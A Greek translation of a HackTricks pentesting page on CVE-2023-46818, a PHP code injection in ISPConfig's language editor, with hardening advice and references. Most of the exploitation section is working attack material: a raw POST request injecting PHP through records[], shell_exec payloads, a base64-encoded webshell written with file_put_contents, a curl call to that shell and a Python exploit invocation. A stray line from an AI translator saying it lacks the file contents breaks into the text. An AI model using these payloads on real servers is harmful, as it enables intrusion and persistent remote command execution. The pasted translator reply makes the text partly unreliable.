ISPConfig
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
ISPConfig είναι ένα open-source hosting control panel. Οι παλαιότερες εκδόσεις 3.2.x περιείχαν μια λειτουργία επεξεργασίας αρχείων γλώσσας που, όταν ενεργοποιούνταν για τον υπερ-διαχειριστή, επέτρεπε arbitrary PHP code injection μέσω ενός κατεστραμμένου εγγραφής μετάφρασης. Αυτό μπορεί να οδηγήσει σε RCE στο περιβάλλον του web server και, ανάλογα με τον τρόπο που εκτελείται το PHP, σε privilege escalation.
Βασικές προεπιλεγμένες διαδρομές:
- Το web root βρίσκεται συχνά στο
/var/www/ispconfig
όταν σερβίρεται μεphp -S
ή μέσω Apache/nginx. - Το Admin UI είναι προσβάσιμο στο HTTP(S) vhost (μερικές φορές δεσμευμένο μόνο στο localhost; χρησιμοποιήστε SSH port-forward αν χρειάζεται).
Συμβουλή: Αν το panel είναι δεσμευμένο τοπικά (π.χ. 127.0.0.1:8080
), προωθήστε το:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Επεξεργαστής γλώσσας PHP code injection (CVE-2023-46818)
- Ευπαθείς εκδόσεις: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Προαπαιτούμενα:
- Κάντε login ως ο ενσωματωμένος superadmin λογαριασμός
admin
(άλλοι ρόλοι δεν επηρεάζονται σύμφωνα με τον προμηθευτή) - Ο επεξεργαστής γλώσσας πρέπει να είναι ενεργοποιημένος:
admin_allow_langedit=yes
στο/usr/local/ispconfig/security/security_settings.ini
- Επίπτωση: Ένας αυθεντικοποιημένος admin μπορεί να εισάγει αυθαίρετο PHP που γράφεται σε αρχείο γλώσσας και εκτελείται από την εφαρμογή, επιτυγχάνοντας RCE στο web περιβάλλον
Αναφορές: NVD entry CVE-2023-46818 και σύνδεσμος ειδοποίησης του προμηθευτή στην ενότητα References παρακάτω.
Χειροκίνητη ροή εκμετάλλευσης
- Άνοιγμα/δημιουργία αρχείου γλώσσας για απόκτηση CSRF tokens
Στείλτε ένα πρώτο POST για να αρχικοποιήσετε τη φόρμα και να απομονώσετε τα πεδία CSRF από την HTML απάντηση (csrf_id
, csrf_key
). Παράδειγμα request path: /admin/language_edit.php
.
- Εισαγωγή PHP μέσω records[] και αποθήκευση
Υποβάλετε ένα δεύτερο POST που περιλαμβάνει τα πεδία CSRF και ένα κακόβουλο translation record. Ελάχιστες δοκιμές εκτέλεσης εντολών:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band test (παρατήρηση ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Γράψτε αρχεία και τοποθετήστε ένα webshell
Χρησιμοποιήστε τη file_put_contents
για να δημιουργήσετε ένα αρχείο σε μια διαδρομή προσβάσιμη μέσω web (π.χ., admin/
):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Στη συνέχεια γράψε ένα απλό webshell χρησιμοποιώντας base64 για να αποφύγεις μη επιθυμητούς χαρακτήρες στο POST body:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
I don't have the file contents. Please paste the markdown text from src/network-services-pentesting/pentesting-web/ispconfig.md that you want translated to Greek. I'll translate the English parts and keep all code, links, tags and paths unchanged.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Αν το PHP εκτελείται ως root (π.χ. μέσω php -S 127.0.0.1:8080
που ξεκίνησε από root), αυτό οδηγεί σε άμεσο root RCE. Διαφορετικά, αποκτάτε εκτέλεση κώδικα ως ο χρήστης του web server.
Python PoC
Ένα έτοιμο exploit αυτοματοποιεί το token handling και την παράδοση του payload:
Παράδειγμα εκτέλεσης:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Σκληροποίηση
- Αναβαθμίστε σε 3.2.11p1 ή νεότερη
- Απενεργοποιήστε τον επεξεργαστή γλώσσας εκτός αν είναι απολύτως απαραίτητο:
admin_allow_langedit=no
- Αποφύγετε να τρέχετε το panel ως root· ρυθμίστε το PHP-FPM ή τον web server ώστε να μειώνουν τα προνόμια
- Επιβάλετε ισχυρή αυθεντικοποίηση για τον ενσωματωμένο λογαριασμό
admin
Αναφορές
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.